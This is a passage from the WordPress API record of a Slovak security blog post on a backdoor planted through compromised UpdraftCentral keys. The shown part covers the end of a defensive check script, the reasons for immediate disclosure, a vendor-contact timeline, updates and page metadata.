echo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n    echo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"pre\u010do-zverej\u0148ujeme-hne\u010f\">Pre\u010do zverej\u0148ujeme hne\u010f<\/h2>\n<p>Responsible disclosure znamen\u00e1 da\u0165 v\u00fdrobcovi \u010das na opravu a zverejni\u0165 podrobnosti a\u017e potom. Tu \u017eia\u013e na to nie je d\u00f4vod. \u00dato\u010dn\u00edk backdoory do in\u0161tal\u00e1ci\u00ed WordPressu u\u017e akt\u00edvne \u0161\u00edri a oprava od v\u00fdrobcu majite\u013eom webov nepom\u00f4\u017ee, k\u00fdm m\u00e1 \u00fato\u010dn\u00edk platn\u00e9 k\u013e\u00fa\u010de. Jedin\u00e1 \u00fa\u010dinn\u00e1 ochrana je zru\u0161i\u0165 spojenie s UpdraftCentral a web skontrolova\u0165, a to m\u00f4\u017ee urobi\u0165 ka\u017ed\u00fd spr\u00e1vca hne\u010f.<\/p>\n<p>Zverejnenie \u00fato\u010dn\u00edkovi nepom\u00f4\u017ee. Na \u00fatok potrebuje platn\u00e9 k\u013e\u00fa\u010de, ktor\u00e9 u\u017e m\u00e1, a ni\u010d v tomto \u010dl\u00e1nku mu ned\u00e1va nov\u00fd sp\u00f4sob \u00fatoku. Obrancom naopak d\u00e1va postup, ako sa chr\u00e1ni\u0165. Backdoor navy\u0161e vyr\u00e1ba gener\u00e1tor, ktor\u00fd pre ka\u017ed\u00fd web vytvor\u00ed in\u00e9 men\u00e1, tokeny a hesl\u00e1, \u010do nazna\u010duje n\u00e1stroj ur\u010den\u00fd na ve\u013ek\u00fd po\u010det webov. Ka\u017ed\u00e1 hodina \u010dakania d\u00e1va \u00fato\u010dn\u00edkovi \u010das na \u010fal\u0161ie weby.<\/p>\n<h2 id=\"komunik\u00e1cia-s-v\u00fdrobcom-a-bezpe\u010dnostn\u00fdmi-firmami\">Komunik\u00e1cia s v\u00fdrobcom a bezpe\u010dnostn\u00fdmi firmami<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: hl\u00e1senie TeamUpdraft cez formul\u00e1r pr\u00e9miovej podpory s logmi a anal\u00fdzou pre web A<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnenie o \u00fatoky na weby B a C, druh\u00fa vzorku a porovnanie User-Agent so skuto\u010dn\u00fdm dashboardom<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: informovali sme Wordfence a Patchstack, aby mohli prida\u0165 detekciu a varova\u0165 \u010fal\u0161\u00edch spr\u00e1vcov<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft zverejnil <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">vyjadrenie k bezpe\u010dnostn\u00e9mu incidentu<\/a> a potvrdil \u00fanik z\u00e1kazn\u00edckej datab\u00e1zy vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft n\u00e1m v odpovedi na hl\u00e1senie potvrdil, \u017ee na z\u00e1klade neho pova\u017euje k\u013e\u00fa\u010de UpdraftCentral za kompromitovan\u00e9, a v\u0161etk\u00fdch z\u00e1kazn\u00edkov UpdraftCentral \u017eiada odpoji\u0165 a skontrolova\u0165 ka\u017ed\u00fd web. N\u00fadzov\u00e1 verzia UpdraftPlus k uz\u00e1vierke e\u0161te nevy\u0161la (posledn\u00e1 je 1.26.11 zo 16. 10.).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Patchstack zverejnil <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">vlastn\u00fa anal\u00fdzu<\/a> a potvrdil obe IP adresy \u00fato\u010dn\u00edka. Wordfence aj Patchstack si vy\u017eiadali vzorky.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<p>Ak ste podobn\u00fd \u00fatok zaznamenali aj vy, nap\u00ed\u0161te n\u00e1m na info@nethemba.com. Vzorky a \u010fal\u0161ie technick\u00e9 podklady poskytneme v\u00fdrobcovi aj bezpe\u010dnostn\u00fdm t\u00edmom na po\u017eiadanie.<\/p>\n<h2 id=\"aktualiz\u00e1cie\">Aktualiz\u00e1cie<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: prv\u00e9 zverejnenie.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: upozornenie, \u017ee log UpdraftCentral uchov\u00e1va len 50 udalost\u00ed, a kontrola access logu; odpor\u00fa\u010danie nevytv\u00e1ra\u0165 spojenie znova; postup pre plne kompromitovan\u00e9 weby; spresnenie dotknut\u00fdch verzi\u00ed pri CVE-2026-10795.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnen\u00e9 vyjadrenie v\u00fdrobcu, ktor\u00fd potvrdil \u00fanik k\u013e\u00fa\u010dov z teamupdraft.com; aktualizovan\u00e9 odpor\u00fa\u010dania, oprava a rozsah.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026 (ve\u010der): druh\u00fd variant so skryt\u00fdm administr\u00e1torom, \u010fal\u0161ie vzorky prv\u00e9ho variantu, druh\u00e1 IP adresa, odkaz na anal\u00fdzu Patchstacku, kontroln\u00fd skript vo verzii 2.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnen\u00e1 priama odpove\u010f v\u00fdrobcu na na\u0161e hl\u00e1senie.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>V noci na 19. okt\u00f3bra 2026 \u00fato\u010dn\u00edk zneu\u017eil slu\u017ebu UpdraftCentral, ktor\u00e1 je s\u00fa\u010das\u0165ou z\u00e1lohovacieho pluginu UpdraftPlus s viac ako 4 mili\u00f3nmi in\u0161tal\u00e1ci\u00ed, a na dva z na\u0161ich troch webov nahral backdoor. Na\u0161e weby boli plne aktualizovan\u00e9 a chyba nebola na na\u0161ej strane: \u00fato\u010dn\u00edk podpisoval pr\u00edkazy platn\u00fdmi k\u013e\u00fa\u010dmi, ktor\u00e9 generuje a uchov\u00e1va slu\u017eba UpdraftCentral Cloud. Zverej\u0148ujeme rozbor backdooru, indik\u00e1tory kompromit\u00e1cie a postup, ako si skontrolova\u0165 vlastn\u00e9 weby. V\u00fdrobca nesk\u00f4r potvrdil, \u017ee \u00fato\u010dn\u00edk z\u00edskal z\u00e1kazn\u00edcku datab\u00e1zu teamupdraft.com vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral.<\/p>\n","protected":false},"author":2,"featured_media":9600,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[2987,2988],"tags":[],"class_list":["post-9625","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog-sk","category-featured-sk"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba<\/title>\n<meta name=\"description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"sk_SK\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba\" \/>\n<meta property=\"og:description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:01+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-19T15:03:20+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Autor\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Predpokladan\u00fd \u010das \u010d\u00edtania\" \/>\n\t<meta name=\"twitter:data2\" content=\"31 min\u00fat\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby\",\"datePublished\":\"2026-10-19T05:44:01+00:00\",\"dateModified\":\"2026-10-19T15:03:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":4453,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"articleSection\":[\"Blog\",\"Featured\"],\"inLanguage\":\"sk-SK\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"datePublished\":\"2026-10-19T05:44:01+00:00\",\"dateModified\":\"2026-10-19T15:03:20+00:00\",\"description\":\"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"sk-SK\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"sk-SK\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/domov\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"sk-SK\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"sk-SK\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"sk-SK\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba","description":"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"sk_SK","og_type":"article","og_title":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba","og_description":"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:01+00:00","article_modified_time":"2026-10-19T15:03:20+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Autor":"Pavol Lupt\u00e1k","Predpokladan\u00fd \u010das \u010d\u00edtania":"31 min\u00fat"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby","datePublished":"2026-10-19T05:44:01+00:00","dateModified":"2026-10-19T15:03:20+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":4453,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","articleSection":["Blog","Featured"],"inLanguage":"sk-SK","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","datePublished":"2026-10-19T05:44:01+00:00","dateModified":"2026-10-19T15:03:20+00:00","description":"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"sk-SK","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"sk-SK","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/domov\/"},{"@type":"ListItem","position":2,"name":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"sk-SK"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"sk-SK","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"sk-SK","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts\/9625","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/comments?post=9625"}],"version-history":[{"count":8,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts\/9625\/revisions"}],"predecessor-version":[{"id":9666,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts\/9625\/revisions\/9666"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/media\/9600"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/media?parent=9625"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/categories?post=9625"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/tags?post=9625"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}